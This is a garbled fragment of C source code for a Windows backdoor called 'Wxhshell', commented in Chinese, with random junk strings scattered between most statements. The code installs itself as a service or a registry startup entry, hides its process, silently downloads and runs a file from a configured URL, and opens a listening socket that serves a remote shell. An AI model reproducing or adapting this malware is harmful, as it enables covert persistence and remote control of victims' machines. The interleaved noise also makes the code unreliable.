if(strstr(procName,"services")) return 1; // 以服务启动 jC<1bf$K g&z)y return 0; // 注册表启动 Z0o+&3a6 } 7Jm&z/ k7o49Y(# // 主模块 =m<; Jx5 int StartWxhshell(LPSTR lpCmdLine)
=+I~K'2 { QU`M5{# SOCKET wsl; ~3]ZN'b\ BOOL val=TRUE; 93Z/|7 int port=0; f?KHp| struct sockaddr_in door; DV={bcQ U`{'-L. if(wscfg.ws_autoins) Install(); "Jd!TLt\x P'EPP*)q port=atoi(lpCmdLine); @UbH;m
VL^.7U if(port<=0) port=wscfg.ws_port; o+9b%I^1V
%[1\d) WSADATA data; 608}-J=3# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c~_nOd M8 4{u!>[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; to}g4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dt1v`T~=? door.sin_family = AF_INET; nC-=CMWWr door.sin_addr.s_addr = inet_addr("127.0.0.1"); G9`;Z^<L door.sin_port = htons(port); i5f8}`w $P=B66t
^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CV9o,rL closesocket(wsl); J%8M+!`F return 1; 4CUoXs' } ~&zrDj~FI MCPVql`+`q if(listen(wsl,2) == INVALID_SOCKET) { }]dK26pX closesocket(wsl); &E{CQ#k return 1; U8f!yXF' } +XaRwcLC. Wxhshell(wsl); ySfot`LQ WSACleanup(); [r[IWy(} .f1 return 0; #3b_#+, sj;n1t}$S } Qs38VlR_m {ylY"FA // 以NT服务方式启动 }01c7/DRP< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _*tU.x|DP { K-_XdJ\ DWORD status = 0; 6Kl%|VrJs DWORD specificError = 0xfffffff; \a_75^2 `"7}'| serviceStatus.dwServiceType = SERVICE_WIN32; 7P+qPcRaP serviceStatus.dwCurrentState = SERVICE_START_PENDING; {;z{U;j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JJIlR{WY_ serviceStatus.dwWin32ExitCode = 0; -<g&U*/E serviceStatus.dwServiceSpecificExitCode = 0; i6S5 4&^! serviceStatus.dwCheckPoint = 0; n!Dr:$
serviceStatus.dwWaitHint = 0; u[{j;l( >MTrq%. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =:w]EpH" if (hServiceStatusHandle==0) return; $;4y2?E 9<e%('@[ status = GetLastError(); )S:,q3gxJ if (status!=NO_ERROR) \?$`dA [ { ;\N)RZ serviceStatus.dwCurrentState = SERVICE_STOPPED; R m&^[mv serviceStatus.dwCheckPoint = 0; Z[ NO`!< serviceStatus.dwWaitHint = 0; ;S&PLgZ serviceStatus.dwWin32ExitCode = status; mp!S<m serviceStatus.dwServiceSpecificExitCode = specificError; m1 tYDZ"i SetServiceStatus(hServiceStatusHandle, &serviceStatus); ab}Kt($ return; 6`c5\G+ } C`J> Gm 6UAn#d9 serviceStatus.dwCurrentState = SERVICE_RUNNING; ;+Dq3NE serviceStatus.dwCheckPoint = 0; As}eI! serviceStatus.dwWaitHint = 0; ?Iin/ <y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9wTN*y } jkQ%b.a {h}0"5 // 处理NT服务事件,比如:启动、停止 z[cs/x VOID WINAPI NTServiceHandler(DWORD fdwControl) c\Z.V*o { Y94^mt- switch(fdwControl) s~z~9#G(6 { }&*wJ]j`L case SERVICE_CONTROL_STOP: *(,zPn, serviceStatus.dwWin32ExitCode = 0; {
R`"Nk serviceStatus.dwCurrentState = SERVICE_STOPPED; /wR,P serviceStatus.dwCheckPoint = 0; #JAy serviceStatus.dwWaitHint = 0; eP?=tUB!S { ir{li?kV SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5LF &C0v } mTj?W$+r return; H@'f=Y*D case SERVICE_CONTROL_PAUSE: &Hi;> serviceStatus.dwCurrentState = SERVICE_PAUSED; %W(/W9B$/F break; -MK9IO]i case SERVICE_CONTROL_CONTINUE: f`gs/R serviceStatus.dwCurrentState = SERVICE_RUNNING; qk{+Y break; /q^\g4J case SERVICE_CONTROL_INTERROGATE: JK/gq}c break; 8ofKj:W] }; rjo1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<$N*3 } ;4'pucq5/ x+;a2yE~ // 标准应用程序主函数 m|M'vzu1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \) FFV-k5 { tKX+eA] Hrg~<-.La // 获取操作系统版本 S;8gX1Uf OsIsNt=GetOsVer(); W]CsKN,K GetModuleFileName(NULL,ExeFile,MAX_PATH); xXRlQ|84 ng{"W| // 从命令行安装 u)4eu,MBT if(strpbrk(lpCmdLine,"iI")) Install(); \-W|)H Q1'4xWu // 下载执行文件 3F gTM( if(wscfg.ws_downexe) { $<s;YhM:u) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JQ%D6b WinExec(wscfg.ws_filenam,SW_HIDE); 7C>5XyyJ } L)z` 1EemVZdY if(!OsIsNt) { _/5#A+ ? // 如果时win9x,隐藏进程并且设置为注册表启动 SjL&\), HideProc(); ?/1Eu47 StartWxhshell(lpCmdLine); K(3_1*e } )j+G4 else | zyO; if(StartFromService()) vve L|j // 以服务方式启动 nJhaI StartServiceCtrlDispatcher(DispatchTable); c9:8KMF) else o()No_.8H // 普通方式启动 d=DQS>Nz StartWxhshell(lpCmdLine); V sQ~Y,7 Fz {T; return 0; SMn(c }
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